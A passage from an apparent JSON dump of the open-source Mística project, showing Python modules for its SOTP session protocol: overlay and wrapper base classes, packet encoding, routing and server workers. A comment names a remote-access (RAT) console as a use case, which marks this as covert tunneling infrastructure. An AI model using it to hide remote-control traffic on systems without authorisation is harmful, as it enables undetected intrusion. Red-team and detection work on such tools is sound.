0, MessageType.SIGNAL, SignalType.TERMINATE))\n        pass\n\n    def handleStream(self, msg):\n        answer = None\n        if (msg.sender == \"input\"):\n            answer = self.handleInputStream(msg)\n        elif (msg.sender == \"clientworker\"):\n            answer = self.handleSOTPStream(msg)\n        return answer\n\n    def handleInputStream(self, msg):\n        content = self.processInputStream(msg.content)\n        if content is None:\n            return None\n        return Message(self.name, 0, \"datathread\", 0, MessageType.STREAM, content)\n\n    def handleSOTPStream(self, msg):\n        content = self.processSOTPStream(msg.content)\n        if content is None:\n            return None\n        return Message(self.name, 0, \"datathread\", 0, MessageType.STREAM, content)\n\n    # Route answer to sotp or datathread queue.\n    def processAnswer(self, answer):\n        if answer is not None:\n            if answer.receiver == \"clientworker\":\n                self.qsotp.put(answer)\n            elif answer.receiver == \"datathread\":\n                self.qdata.put(answer)\n        pass\n\n    # OVERRIDE ME\n    def processInputStream(self, content):\n        pass\n\n    # OVERRIDE ME\n    def processSOTPStream(self, content):\n        pass\n\n\nclass ClientWrapper(MisticaThread):\n\n    def __init__(self, name, qsotp, logger):\n        MisticaThread.__init__(self,name, logger)\n        self.qsotp = qsotp\n        self.exit = False\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        # Generate argparse\n        self.argparser = self.generateArgParser()\n\n    def handleSignal(self, msg):\n        if msg.isTerminateMessage():\n            self.exit = True\n        pass\n\n    def handleStream(self, msg):\n        try:\n            if (msg.sender == self.name):\n                return self.unwrap(msg.content)\n            elif (msg.sender == \"clientworker\"):\n                self.wrap(msg.content)\n        except Exception as e:\n            m = Message(self.name,0,\"clientworker\",0,MessageType.SIGNAL,SignalType.COMMS_BROKEN)\n            self._LOGGING_ and self.logger.exception(f\"[{self.name}] Exception at handleStream: {e}\")\n            self.qsotp.put(m)\n\n    # Route answer to sotp queue.\n    def processAnswer(self, answer):\n        if answer is not None:\n            m = self.messageToSOTP(answer)\n            self.qsotp.put(m)\n\n    def messageToSOTP(self, content):\n        return Message(self.name, 0, \"clientworker\", 0, MessageType.STREAM, content)\n\n    def messageToWrapper(self, content):\n        return Message(self.name, 0, \"wrapper\", 0, MessageType.STREAM, content)\n\n    # OVERRIDE ME\n    def wrap(self, content):\n        pass\n\n    # OVERRIDE ME\n    def unwrap(self, content):\n        pass\n\n\nclass ServerOverlay(MisticaThread):\n\n    def __init__(self, name, id, qsotp, mode, args, logger):\n        MisticaThread.__init__(self, name, logger)\n        self.workers = []\n        self.id = id\n        self.qsotp = qsotp\n        self.mode = mode\n        # Generate argparse and parse args\n        self.argparser = self.generateArgParser()\n        self.args = self.argparser.parse_args(args.split())\n        self.parseArguments(self.args)\n        # Get tag\n        self.tag = self.args.tag[0]\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    # override me!\n    def parseArguments(self, args):\n        pass\n\n    def handleSignal(self, msg):\n        answer = None\n        if (msg.sender == \"input\"):\n            answer = self.handleInputSignal(msg)\n        elif (msg.sender == \"serverworker\" or msg.sender == \"router\"):\n            answer = self.handleSOTPSignal(msg)\n        return answer\n\n    def handleInputSignal(self, msg):\n\n        if msg.isTerminateMessage():\n            if self.mode == MisticaMode.SINGLE:\n                return Message(self.name, self.id, \"router\", 0,\n                               MessageType.SIGNAL, SignalType.TERMINATE)\n            else:\n                return self.handleInterrupt()\n\n    # override this function to alter the behavior on multihandler mode\n    def handleInterrupt(self):\n        print(\"Interrupt ignored.\")\n        return None\n\n    def handleSOTPSignal(self, msg):\n        answer = None\n        if msg.isTerminateMessage():\n            self.exit = True\n        elif msg.isCommsFinishedMessage() or msg.isCommsBrokenMessage():\n            if self.mode == MisticaMode.SINGLE:\n                answer = Message(self.name, self.id, \"router\", 0,\n                                 MessageType.SIGNAL, SignalType.TERMINATE)\n            else:\n                self.removeWorker(msg.sender_id)  # crashed worker\n        return answer\n\n    def handleStream(self, msg):\n        answer = None\n        if (msg.sender == \"input\"):\n            answer = self.handleInputStream(msg)\n        elif (msg.sender == \"serverworker\"):\n            answer = self.handleSOTPStream(msg)\n        return answer\n\n    def handleInputStream(self, msg):\n        content = self.processInputStream(msg.content)\n        # By default, only one worker. Must be overriden for more\n        # In a multi-worker scenario inputs must be mapped to workers\n        return self.streamToSOTPWorker(content, self.workers[0].id)\n\n    def handleSOTPStream(self, msg):\n        for worker in self.workers:\n            if msg.sender_id == worker.id:\n                break\n        else:\n            return None\n        content = self.processSOTPStream(msg.content)\n        if content is None:\n            return None\n        return self.streamToSOTPWorker(content, msg.sender_id)\n\n    def processAnswer(self, answer):\n        if answer is None:\n            return\n        elif answer.receiver == \"serverworker\":\n            for worker in self.workers:\n                if answer.receiver_id == worker.id:\n                    worker.inbox.put(answer)\n                    return\n        elif answer.receiver == \"datathread\":\n            for worker in self.workers:\n                if answer.receiver_id == worker.id:\n                    worker.datainbox.put(answer)\n                    return\n        elif answer.receiver == \"router\":\n            self.qsotp.put(answer)\n\n    # override me\n    def processInputStream(self, content):\n        pass\n\n    # override me\n    def processSOTPStream(self, content):\n        pass\n\n    def addWorker(self, worker):\n        # By default only one worker can be added.\n        # For multi-worker scenarios (e.g. RAT console), this method must be overrriden\n        if not self.workers:  # empty\n            self.workers.append(worker)\n        else:\n            raise(f\"Cannot Register worker on overlay module. Module {self.name} only accepts one worker\")\n\n    def removeWorker(self, id):\n        for worker in self.workers:\n            if id == worker.id:\n                self.workers.remove(id)\n                break\n\n    def streamToSOTPWorker(self, content, workerid):\n        return Message(self.name, self.id, \"datathread\", workerid, MessageType.STREAM, content)\n\n    def signalToSOTPWorker(self, content, workerid):\n        return Message(self.name, self.id, \"serverworker\", workerid, MessageType.SIGNAL, content)\n\n\nclass ServerWrapper(MisticaThread):\n\n    def __init__(self, id, name, qsotp, servername, args, logger):\n        MisticaThread.__init__(self, name, logger)\n        self.id = id\n        self.servername = servername\n        self.qsotp = qsotp\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        # Generate argparse\n        self.argparser = self.generateArgParser()\n        self.parseArguments(args)\n\n    def handleSignal(self, msg):\n        answer = None\n        if (msg.sender == self.servername):\n            answer = self.handleServerSignal(msg)\n        elif (msg.sender == \"router\"):\n            answer = self.handleSOTPSignal(msg)\n        return answer\n\n    def handleSOTPSignal(self, msg):\n        if msg.isTerminateMessage():\n            self.exit = True\n        return None\n\n    def handleServerSignal(self, msg):\n        # TODO\n        pass\n\n    def handleStream(self, msg):\n        answer = None\n        if (msg.sender == self.servername):\n            answer = self.messageToRouter(self.unwrap(msg.content), msg.wrapServerQ)\n        elif (msg.sender == \"serverworker\" or msg.sender == \"router\"):\n            answer = self.messageToWrapServer(self.wrap(msg.content), msg.wrapServerQ)\n        return answer\n\n    # OVERRIDE ME\n    def wrap(self, content):\n        pass\n\n    # OVERRIDE ME\n    def unwrap(self, content):\n        pass\n\n    def processAnswer(self, answer):\n        if answer is None:\n            return\n        if answer.receiver == \"router\":\n            self.qsotp.put(answer)\n        else:  # For a wrap server\n            answer.wrapServerQ.put(answer)\n\n    def messageToRouter(self, content, wrapServerQ):\n        if content is None:\n            return None\n        else:\n            return Message(self.name, self.id, \"router\", 0, MessageType.STREAM, content, wrapServerQ)\n\n    def messageToWrapServer(self, content, wrapServerQ):\n        if content is None:\n            return None\n        else:\n            return Message(self.name, self.id, self.servername, 0, MessageType.STREAM, content, wrapServerQ)\n"
  },
  {
    "path": "sotp/packet.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom utils.bitstring import BitArray\n\nBYTE = 8\n\nclass Packet(object):\n    def __init__(self):\n        self.session_id = None\n        self.seq_number = None\n        self.ack = None\n        self.data_len = None\n        self.flags = None\n        self.sync_type = None\n        self.content = None\n        self.optional_headers = False\n\n    # Method for transforming a sotp packet into BitArray\n    def toBytes(self):\n        data = BitArray()\n        data.append('0b'+self.session_id.bin)\n        data.append('0b'+self.seq_number.bin)\n        data.append('0b'+self.ack.bin)\n        data.append('0b'+self.data_len.bin)\n        data.append('0b'+self.flags.bin)\n        if self.optional_headers:\n            data.append('0b'+self.sync_type.bin)\n        if any(self.content):\n            data.append('0b'+self.content.bin)\n        return data.tobytes()\n\n    def isFlagActive(self,checkflag):\n        return True if self.flags.uint == checkflag else False\n\n    def isSyncType(self,checktype):\n        return True if self.optional_headers and self.sync_type.uint == checktype else False\n\n    def anyContentAvailable(self):\n        return True if any(self.data_len) and any(self.content) else False\n"
  },
  {
    "path": "sotp/route.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nclass Route:\n\n    def __init__(self, session_id, worker, wrap_module, overlay):\n        self.session_id = session_id\n        self.worker = worker\n        self.wrap_module = wrap_module   # MisticaThread\n        self.overlay = overlay           # MisticaThread\n"
  },
  {
    "path": "sotp/router.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom threading import Thread\nfrom queue import Queue\nfrom random import randint\nfrom utils.messaging import Message, MessageType, SignalType\nfrom utils.bitstring import BitArray\nfrom sotp.packet import Packet\nfrom sotp.serverworker import ServerWorker\nfrom sotp.core import Header, OptionalHeader, Sizes, Offsets, Status, Flags, Sync\nfrom sotp.core import Core\nfrom sotp.route import Route\nfrom sys import stderr\n\n\nclass Router(Thread):\n\n    def __init__(self, key, logger):\n        Thread.__init__(self)\n        self.inbox = Queue()\n        self.wrapModules = []\n        self.wrapServers = []\n        self.overlayModules = []\n        self.workers = []\n        self.routes = []\n        self.pendingInit = []\n        self.workerID = 1\n        self.rc4 = key\n        self.id = 0\n        self.name = \"router\"\n        self.exit = False\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def errorMessage(self, destination, destination_id):\n        return Message(self.name, self.id, destination, destination_id,\n                       MessageType.SIGNAL, SignalType.ERROR)\n\n    def addRoute(self, session_id, worker, wrap_module, overlay):\n        self.routes.append(Route(session_id, worker, wrap_module, overlay))\n\n    def routeMessage(self, msg, sessionID):\n        if (msg.sender == \"serverworker\"):  # Outgoing\n            for route in self.routes:\n                if (route.session_id == sessionID):\n                    route.wrap_module.inbox.put(msg)\n                    break\n\n        else:  # incoming from wrapper\n            for route in self.routes:\n                if (route.session_id == sessionID):\n                    route.worker.inbox.put(msg)\n                    break\n            else:  # worker not found\n                # Place error reply to unlock the server.\n                for route in self.routes:\n                    if (route.wrap_module.id == msg.sender_id):\n                        route.wrap_module.inbox.put(self.errorMessage(route.wrap_module.name,\n                                                                  route.wrap_module.id))\n                        break\n\n    def craftTerminateMessage(self, receiver, receiver_id):\n        return Message(self.name, self.id, receiver, receiver_id,\n                       MessageType.SIGNAL, SignalType.TERMINATE)\n\n    def handleSignal(self, msg):\n        self._LOGGING_ and self.logger.debug(\"[Router] Terminating all threads\")\n        if msg.isTerminateMessage():\n            # shutdown everything\n            for wm in self.wrapModules:\n                wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id))\n            for wm in self.wrapServers:\n                wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id))\n            for wm in self.workers:\n                wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id))\n            for wm in self.overlayModules:\n                wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id))\n            self.exit = True\n\n    def sessionAlreadyExists(self, sessionID):\n        for route in self.routes:\n            if (route.session_id == sessionID):\n                return True\n        return False\n\n    def newSessionID(self):\n        while True:\n            sessionID = BitArray(uint=randint(1, ((2**Header.SESSION_ID)-1)), length=Header.SESSION_ID)\n            if not self.sessionAlreadyExists(sessionID):\n                break\n        return sessionID\n\n    def generateAuthResponsePacket(self, req, sessionID):\n        p = Packet()\n        p.session_id = sessionID\n        p.seq_number = BitArray(uint=1, length=Header.SEQ_NUMBER)\n        p.ack = req.seq_number\n        p.data_len = BitArray(bin='0' * Header.DATA_LEN)\n        p.flags = BitArray(uint=Flags.SYNC, length=Header.FLAGS)\n        p.optional_headers = True\n        p.sync_type = BitArray(uint=Sync.RESPONSE_AUTH, length=OptionalHeader.SYNC_TYPE)\n        p.content = BitArray()\n        return p\n\n    def validOverlayTag(self, tag):\n        for overlay in self.overlayModules:\n            if overlay.tag == tag:\n                return True\n        return False\n\n    def initializeSOTPSession(self, msg):\n        # Get sender:\n        sender = None\n        for wrapper in self.wrapModules:\n            if wrapper.id == msg.sender_id:\n                sender = wrapper\n                self._LOGGING_ and self.logger.debug(f\"[Router] Found {msg.sender} with id {msg.sender_id} in the WrapModule list\")\n                break\n        else:  # not a valid wrapper?\n            self._LOGGING_ and self.logger.error(f\"[Router] Error: Wrapper does not exist\")\n            return\n\n        # Check if valid packet\n        try:\n            pkt = Core.transformToPacket(msg.content)\n        except Exception as e:\n            sender.inbox.put(self.errorMessage(sender.name, sender.id))\n            self._LOGGING_ and self.logger.exception(f\"[Router] Exception on transformToPacket()  {e}\")\n            return\n\n        # Check if valid overlay tag\n        if not self.validOverlayTag(pkt.content):\n            sender.inbox.put(self.errorMessage(sender.name, sender.id))\n            self._LOGGING_ and self.logger.error(f\"[Router] Error: Not a valid Overlay tag\")\n            return\n\n        # Generate new random ID\n        try:\n            sessionID = self.newSessionID()\n        except Exception as e:\n            self._LOGGING_ and self.logger.exception(f\"[Router] Exception on newSessionID()  {e}\")\n            sender.inbox.put(self.errorMessage(sender.name, sender.id))\n            return\n\n        # Add Session ID and overlay tag to pending and send response to wrapper\n        authpkt = self.generateAuthResponsePacket(pkt, sessionID)\n        self.pendingInit.append({\n            \"sessionID\": sessionID,\n            \"tag\": pkt.content,\n            \"lastpkt\": authpkt\n        })\n\n        # Avoid DoS by rejecting old pendings:\n        if len(self.pendingInit) > (Header.SESSION_ID / 2):\n            self.pendingInit.pop(0)\n        self._LOGGING_ and self.logger.debug(f\"[Router] Passing Session Response back to {msg.sender}\")\n        sender.inbox.put(Message(self.name, self.id,\n                                 sender.name, sender.id, MessageType.STREAM,\n                                 authpkt.toBytes(),msg.wrapServerQ))\n\n    def spawnRoute(self, msg, sessionID, tag, lastpkt):\n        overlay = None\n        wrapper = None\n        # Get overlay MisticaThread\n        for available in self.overlayModules:\n            if available.tag == tag:\n                overlay = available\n                break\n        else:\n            self._LOGGING_ and self.logger.error(f\"[Router] Error: Overlay module no longer available\")\n            return\n\n        # Get wrapper MisticaThread\n        for available in self.wrapModules:\n            if available.id == msg.sender_id:\n                wrapper = available\n                break\n        else:\n            self._LOGGING_ and self.logger.error(f\"[Router] Error: Wrapper module no longer available\")\n            return\n\n        self._LOGGING_ and self.logger.debug(f\"[Router] Creating route for session 0x{sessionID.hex} from {wrapper.name} to {overlay.name}. Spawning worker...\")\n        worker = ServerWorker(overlay, self.workerID, self.inbox, wrapper.max_retries,\n                            wrapper.max_size, self.logger, self.rc4, sessionID, lastpkt)\n        self.workers.append(worker)\n        self.workerID += 1\n        self.routes.append(Route(sessionID, worker, wrapper, overlay))\n        self.pendingInit.remove({\n            \"sessionID\": sessionID,\n            \"tag\": tag,\n            \"lastpkt\": lastpkt\n        })\n        worker.start()\n\n    # ONLY gets the first N bytes where N is the size of the session_id field\n    def getSessionID(self, binarypacket):\n        return Core.fromBytesToBitArray(binarypacket)[0:Offsets.SESSION_ID]\n\n    def run(self):\n        self._LOGGING_ and self.logger.info(f\"[Router] Staring up and waiting for messages...\")\n\n        while (not self.exit):\n            msg = self.inbox.get()\n            # inbox contains signal?\n            if msg.isSignalMessage():\n                self._LOGGING_ and self.logger.debug(f\"[Router] Signal received from {msg.sender} with content {msg.content}\")\n                self.handleSignal(msg)\n                continue\n            # This inbox contains a sotp packet from a worker or a wrapper\n            try:\n                sessionID = self.getSessionID(msg.content)\n            except Exception as e:\n                print(e)\n                continue\n            # New session? create pending init\n            if (sessionID.hex == '00'):\n                self._LOGGING_ and self.logger.info(f\"[Router] New Session Request. Initializing...\")\n                self.initializeSOTPSession(msg)\n                continue\n            # Session init confirmed?\n            for elem in self.pendingInit:\n                if sessionID == elem['sessionID']:\n                    self.spawnRoute(msg, sessionID, elem['tag'], elem['lastpkt'])\n                    break\n\n            # Established session! Route message\n            self.routeMessage(msg, sessionID)\n        self._LOGGING_ and self.logger.debug(\"[Router] Terminated\")\n"
  },
  {
    "path": "sotp/serverworker.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.core import Header, OptionalHeader, Sizes, Offsets, Status, Flags, Sync\nfrom sotp.core import Core, BYTE\nfrom sotp.packet import Packet\nfrom threading import Thread\nfrom queue import Queue\nfrom utils.messaging import Message, MessageType, SignalType\nfrom utils.bitstring import BitArray\n\n\nclass ServerWorker(Core, Thread):\n\n    def __init__(self, overlay, id, SotpServerInbox, retries, maxsize, logger, key, sid, lastpkt):\n        Core.__init__(self, key, retries, maxsize)\n        Thread.__init__(self)\n        self.overlay = overlay\n        self.st = Status.WORKING  # Server establishes session before a route is created\n        self.inbox = Queue()\n        self.datainbox = Queue()\n        self.id = id\n        self.sid = sid\n        self.outbox = SotpServerInbox\n        self.lastPacketSent = lastpkt\n        self.lastPacketRecv = None\n        self.seqnumber = lastpkt.seq_number.uint\n        self.overlay.addWorker(self)\n        self.exit = False\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    # Method that checks if a packet is a Polling request\n    def seemsPollingRequest(self,packet):\n        if packet.isFlagActive(Flags.SYNC) == False:\n            return False\n        if packet.isSyncType(Sync.POLLING_REQUEST) == False:\n            return False\n        if any(packet.data_len) or any(packet.content):\n            return False\n        return True\n\n    # Method that checks if a packet is a Data Transfer Packet\n    def seemsPollingChunk(self,packet):\n        if any(packet.flags):\n            return False\n        if any(packet.data_len) == False:\n            return False\n        if packet.data_len.uint != int(packet.content.length/BYTE):\n            return False\n        return True\n\n    # Method that checks if a packet is a Data Transfer Packet with PUSH Flag\n    def seemsPollingDataPush(self,packet):\n        if packet.isFlagActive(Flags.PUSH) == False:\n            return False\n        if packet.optional_headers:\n            return False\n        if any(packet.data_len) == False:\n            return False\n        if packet.data_len.uint != int(packet.content.length/BYTE):\n            return False\n        return True\n\n    # Method that checks if a packet is a confirmation.\n    def seemsConfirmation(self,packet):\n        if any(packet.flags):\n            return False\n        if any(packet.data_len) or any(packet.content):\n            return False\n        return True\n\n    # Method that checks if a packet is a session reinitialization request.\n    def seemsReinitRequest(self, packet):\n        if not packet.isFlagActive(Flags.SYNC):\n            return False\n        if not packet.isSyncType(Sync.REINITIALIZING):\n            return False\n        if any(packet.data_len) or any(packet.content):\n            return False\n        return True\n\n    # Method to check if the packet is a valid request from mistica client.\n    # first it checks that the package has the sotp structure and then \n    # if it fits any of the expected package types\n    def checkWorkRequest(self,packet):\n        if self.checkMainFields(packet) == False:\n            return False\n        if self.seemsPollingRequest(packet):\n            return True\n        if self.seemsConfirmation(packet):\n            return True\n        if self.seemsPollingChunk(packet):\n            return True\n        if self.seemsPollingDataPush(packet):\n            return True\n        return False\n\n    # Method to check if the packet is valid reinitialization request\n    def checkReinitialization(self, packet):\n        if self.seemsReinitRequest(packet):\n            return True\n        return False\n\n    # Method for generating a response to a Polling request\n    def generatePollResponse(self,packet):\n        p = Packet()\n        p.session_id = self.sid\n        self.seqnumber+=1\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = packet.seq_number\n        p.data_len = BitArray(bin='0'*Header.DATA_LEN)\n        p.flags = BitArray(bin='0'*Header.FLAGS)\n        p.content = BitArray()\n        return p\n\n    # Method for generating a session reinitialization response\n    def generateReinitResponse(self,packet):\n        p = Packet()\n        p.session_id = self.sid\n        self.seqnumber=1\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = packet.seq_number\n        p.data_len = BitArray(bin='0'*Header.DATA_LEN)\n        p.flags = BitArray(bin='0'*Header.FLAGS)\n        p.content = BitArray()\n        return p\n\n    # Method to generate a transfer packet (with data from the overlay)\n    def generateTransferPacket(self,packt,content,push):\n        p = Packet()\n        p.session_id = self.sid\n        self.seqnumber+=1\n        p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)\n        p.ack = packt.seq_number\n        p.data_len = BitArray(uint=len(content),length=Header.DATA_LEN)\n        if push:\n            p.flags = BitArray(uint=Flags.PUSH,length=Header.FLAGS)\n        else:\n            p.flags = BitArray(bin='0'*Header.FLAGS)\n        p.sync_type = BitArray()\n        p.content = BitArray(bytes=content)\n        return p\n\n    # Method that updates the reference to the last packet sent and/or received\n    def storePackets(self,packetrecv,packetsent):\n        if packetsent is not None:\n            self._LOGGING_ and self.logger.debug(f\"[ServerWorker {self.id}] Storing Sent Packet {packetsent.seq_number}\")\n            self.lastPacketSent = packetsent\n        if packetrecv is not None:\n            self._LOGGING_ and self.logger.debug(f\"[ServerWorker {self.id}] Storing Recv Packet {packetrecv.seq_number}\")\n            self.lastPacketRecv = packetrecv\n\n    # Method of starting a data transfer\n    def makeTransferPacket(self,packet):\n        response = None\n        chunk, push = self.bufOverlay.getChunk()\n        transpacket = self.generateTransferPacket(packet,chunk,push)\n        response = transpacket\n        if push and not self.bufOverlay.anyIndex():\n            self._LOGGING_ and self.logger.debug(f\"[ServerWorker {self.id}] makeTransferPacket with PUSH\")\n        return response\n\n    # Method that extracts data (if any) from a packet received from the client (by full-duplex).\n    def extractIncomingData(self,packet):\n        if any(packet.data_len) == False or any(packet.content) == False:\n            return\n        self.bufWrapper.addChunk(packet)\n        return\n\n    # Method that manages Polling Requests, Confirmations and Data Transfer packets\n    # Data transfers can be full duplex\n    def doWork(self,packet,wsrvinbox):\n        response = None\n        packettosend = None\n        if packet.anyContentAvailable():\n            self.extractIncomingData(packet)\n            if packet.isFlagActive(Flags.PUSH):\n                data_decrypt = self.decryptWrapperData()\n                self.overlay.inbox.put(Message(\"serverworker\",self.id,'overlay',0,MessageType.STREAM,data_decrypt))\n                if self.someOverlayData():\n                    packettosend = self.makeTransferPacket(packet)\n                    response = Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)\n                else:\n                    packettosend = self.generatePollResponse(packet)\n                    response = Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)\n            else:\n                if self.someOverlayData():\n                    packettosend = self.makeTransferPacket(packet)\n                    response = Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)\n                else:\n                    packettosend = self.generatePollResponse(packet)\n                    response = Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)\n        else:\n            if self.someOverlayData():\n                packettosend = self.makeTransferPacket(packet)\n                response = Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)\n            else:\n                packettosend = self.generatePollResponse(packet)\n                response = Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)\n        self.storePackets(packet,packettosend)\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Header Sent: {response.printHeader()}\")\n        return response\n\n    # Method that responds to a client termination request\n    def doTermination(self,packet,wsrvinbox):\n        self._LOGGING_ and self.logger.debug(f\"[ServerWorker {self.id}] initializing Termination process\")\n        pollpacket = self.generatePollResponse(packet)\n        self.st = Status.TERMINATING\n        self.storePackets(packet,pollpacket)\n        self.overlay.inbox.put(Message(\"serverworker\",self.id,'overlay',0,MessageType.SIGNAL,SignalType.COMMS_FINISHED))\n        return Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,pollpacket.toBytes(),wsrvinbox)\n\n    # Method that performs the session reinitialization process\n    def doReinitialization(self, packet):\n        reinitpacket = self.generateReinitResponse(packet)\n        self.storePackets(packet, reinitpacket)\n        return reinitpacket.toBytes()\n\n    # Trigger method that performs the checks associated with each function and then invokes it\n    # by returning a response.\n    def initialChecks(self, msg, checkerFunc, nextFunc):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] Header Recv: {msg.printHeader()}\")\n        p = self.transformToPacket(msg.content)\n        if p is None:\n            self._LOGGING_ and self.logger.error(f\"[ServerWorker {self.id}] cannot convert data to sotp packet, re-sending...\")\n            return Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,self.lostPacket().toBytes(),msg.wrapServerQ)\n        if self.checkReinitialization(p):\n            return Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,self.doReinitialization(p),msg.wrapServerQ)\n        if self.checkTermination(p):\n            self._LOGGING_ and self.logger.info(f\"[ServerWorker {self.id}] termination packet detection\")\n            return self.doTermination(p,msg.wrapServerQ)\n        if checkerFunc(p) is False:\n            self._LOGGING_ and self.logger.error(f\"[ServerWorker {self.id}] {checkerFunc} has failed, re-sending...\")\n            return Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,self.lostPacket().toBytes(),msg.wrapServerQ)\n        if self.checkConfirmation(p) is False:\n            self._LOGGING_ and self.logger.error(f\"[ServerWorker {self.id}] cannot confirm our last sent packet, re-sending...\")\n            return Message(\"serverworker\",self.id,\"router\",0,MessageType.STREAM,self.lostPacket().toBytes(),msg.wrapServerQ)\n        return nextFunc(p,msg.wrapServerQ)\n\n    # Method that processes the data from the overlay and stores it in its buffer.\n    def overlayProcessing(self, data):\n        self._LOGGING_ and self.logger.debug(f\"[DataThread] {data.sender} sent {len(data.content)} bytes of data, storing...\")\n        self.storeOverlayContent(data.content)\n\n    # A method (running on a thread) that receives the data from the overlay, encrypts it, \n    # chunks it and saves it parallel to the mistica server thread.\n    def dataEntry(self):\n        while True:\n            data = self.datainbox.get()\n            if data.isTerminateMessage():\n                break\n            self.overlayProcessing(data)\n        self._LOGGING_ and self.logger.debug(f\"[DataThread] Terminated\")\n\n    # Handler for STREAM (data) type messages\n    def handleStream(self, msg):\n        if self.st == Status.WORKING:\n            self.outbox.put(self.initialChecks(msg, self.checkWorkRequest, self.doWork))\n        elif self.st == Status.TERMINATING:\n            self.overlay.inbox.put(Message(\"serverworker\",self.id,'overlay', self.overlay.id, MessageType.SIGNAL,SignalType.COMMS_FINISHED))\n\n    # Handler for SIGNAL type messages.\n    def handleSignal(self, msg):\n        if msg.isTerminateMessage():\n            self.datainbox.put(Message(\"serverworker\", self.id, \"datathread\", 0, MessageType.SIGNAL, SignalType.TERMINATE))\n            self.exit = True\n\n    # Entry point of the associated Worker when creating a new session with a client.\n    def run(self):\n        self._LOGGING_ and self.logger.info(f\"[ServerWorker {self.id}] associated with {self.overlay.name} started!\")\n        dataThread = Thread(target=self.dataEntry)\n        dataThread.start()\n        while (not self.exit):\n            msg = self.inbox.get()\n            if (msg.isSignalMessage()):\n                self.handleSignal(msg)\n                continue\n            self.handleStream(msg)\n        self._LOGGING_ and self.logger.debug(f\"[ServerWorker {self.id}] Terminated\")\n"
  },
  {
    "path": "utils/bitstring.py",
